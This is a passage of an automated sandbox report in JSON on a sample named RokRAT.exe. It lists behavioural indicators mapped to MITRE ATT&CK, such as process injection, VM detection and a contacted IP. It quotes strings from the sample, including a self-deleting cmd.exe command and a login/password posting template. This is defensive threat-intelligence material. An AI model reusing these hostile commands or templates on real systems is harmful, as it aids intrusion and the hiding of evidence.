(Indicator: \"GetProcAddress\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"RokRAT.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"RokRAT.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"RokRAT.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"RokRAT.exe\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"RokRAT.exe\")\n Found reference to API \"GetUserNameA\" (Indicator: \"GetUserName\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"client_secret\" (Indicator: \"secret\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00476000.00000004.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n file/memory contains long string with (Indicator: \"password\"; Source: \"00000000-00004360.00000000.67175.00476000.00000004.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found string \"lient_secret\" (Indicator: \"secret\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"DeleteFileWWL\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"RokRAT.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"RokRAT.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"RokRAT.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"RokRAT.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"wscript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$39","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00004360.00000000.67175.03120000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"RokRAT.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"wscript.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 74.120.9.89 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains indicators of bot communication commands","description":"Found string \"login=%s&password=%s&login_submit=Authorizing...&dologin=1&client_id=%s&response_type=code&redirect_uri=%s&scope=root_readwrite&folder_id=&file_id=®_step=&submit1=1&folder=&login_or_register_mode=login&new_login_or_register_mode=&__login=1&redirect_url=%s&request_token=%s&_pw_sql=\" (Indicator: \"login=\"; Source: \"00000000-00004360.00000000.67175.00476000.00000004.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":3,"id":"string-29","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"ecmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"%s\"\" (Indicator: \"ping\"; File: \"RokRAT.exe\")\n Found string \"cmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"%s\"\" (Indicator: \"ping\"; File: \"RokRAT.exe\")\n Found string \"/C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\RokRAT.exe\"\" (Indicator: \"ping\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"wscript.exe\" marked \"C:\\Windows\\13918.dat\" for deletion\n \"wscript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\48230029.tmp\" for deletion\n \"wscript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\678418BE.tmp\" for deletion\n \"wscript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\3D6C4AE1.tmp\" for deletion\n \"wscript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\72AE2CD6.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"wscript.exe\" opened \"C:\\Windows\\13918.dat\" with delete access\n \"wscript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\48230029.tmp\" with delete access\n \"wscript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\678418BE.tmp\" with delete access\n \"wscript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\3D6C4AE1.tmp\" with delete access\n \"wscript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\72AE2CD6.tmp\" with delete access\n \"cmd.exe\" opened \"C:\\RokRAT.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"System Security","name":"Writes registry keys","description":"\"wscript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2F0\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to create a thread in another process","description":"\"RokRAT.exe\" called \"CreateRemoteThread\" with parameters {\"hProcess\": \"376\"\n \"lpThreadAttributes\": \"0\"\n \"dwStackSize\": \"0\"\n \"lpStartAddress\": \"57475072\"\n \"lpParameter\": \"57475072\"\n \"dwCreationFlags\": \"0\"\n \"lpThreadId\": \"0\"}","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-106","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Windows system process connects to a network","description":"Process \"wscript.exe\" connects to 74.120.9.89:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"wscript.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"Installation/Persistence","name":"Creates a thread in a remote process","description":"\"RokRAT.exe\" creates a thread in process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 384)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":8,"id":"api-18","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"wscript.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00001868)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"tracert.exe\" (Indicator: \"tracert\"; Source: \"00000000-00003100.00000000.66597.009C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"wscript.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"wscript.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \"wscript.exe\" failed to load missing module \"api-ms-win-core-sysinfo-l1-2-1\" - [base:0; Status:c0000135]\n \"cmd.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"cmd.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\ole32.dll\" [Source: 00000000-00001868-00000C25-43966090]\n Observed system executable string:\"%WINDIR%\\syswow64\\MSCTF.dll\" [Source: 00000000-00001868-00000C25-44058041]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" [Source: 00000000-00001868-00000C25-45915985]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\cryptnet.dll\" [Source: 00000000-00001868-00000C25-46394322]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 10307072)\n \"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 10307072)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"dpmodemx.dll\" [Source: 00000000-00003100.00000000.66597.009C0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"wscript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00003100.00000000.66597.009C0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Calls an API typically to import asymmetric cryptographic keys into a CSP","description":"$3e","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to detect virtual machine (file access)","description":"\"wscript.exe\" trying to touch file \"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\"\n \"wscript.exe\" trying to touch file \"%PROGRAMFILES%\\VMware\\VMware Tools\\vmtoolsd.exe\"","origin":"API Call","mitre_attack_id":"T1497","relevance":8,"id":"api-92","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to detect vmware (file access)","description":"\"wscript.exe\" trying to touch file \"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\"\n \"wscript.exe\" trying to touch file \"%PROGRAMFILES%\\VMware\\VMware Tools\\vmtoolsd.exe\"","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-115","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"FlsFree\" (Source: RokRAT.exe, API is part of module: KERNELBASE.DLL)\n Found string \"FlsSetValue\" (Source: RokRAT.exe, API is part of module: KERNELBASE.DLL)\n Found string \"FlsGetValue\" (Source: RokRAT.exe, API is part of module: KERNELBASE.DLL)\n Found string \"FlsAlloc\" (Source: RokRAT.exe, API is part of module: KERNELBASE.DLL)\n Found string \"GetProcessWindowStation\" (Source: RokRAT.exe, API is part of module: USER32.DLL)\n Found string \"GetUserObjectInformationA\" (Source: RokRAT.exe, API is part of module: USER32.DLL)\n Found string \"GetLastActivePopup\" (Source: RokRAT.exe, API is part of module: USER32.DLL)\n Found string \"GetActiveWindow\" (Source: RokRAT.exe, API is part of module: USER32.DLL)\n Found string \"MessageBoxA\" (Source: RokRAT.exe, API is part of module: USER32.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"RokRAT.exe\" allocated memory in \"C:\\RokRAT.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":96,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":17,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["nimbus","ricochetchollima","targeted","agent","coinminer","disguisedxmrigminer","filecoder","genkryptik","korpode","kryptik","miner","ransomware","stealer"],"sample_flags":["Sample Crashed","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"655fc48d38dd107bd0073ebe","environment_id":120,"environment_description":"Windows 7 64 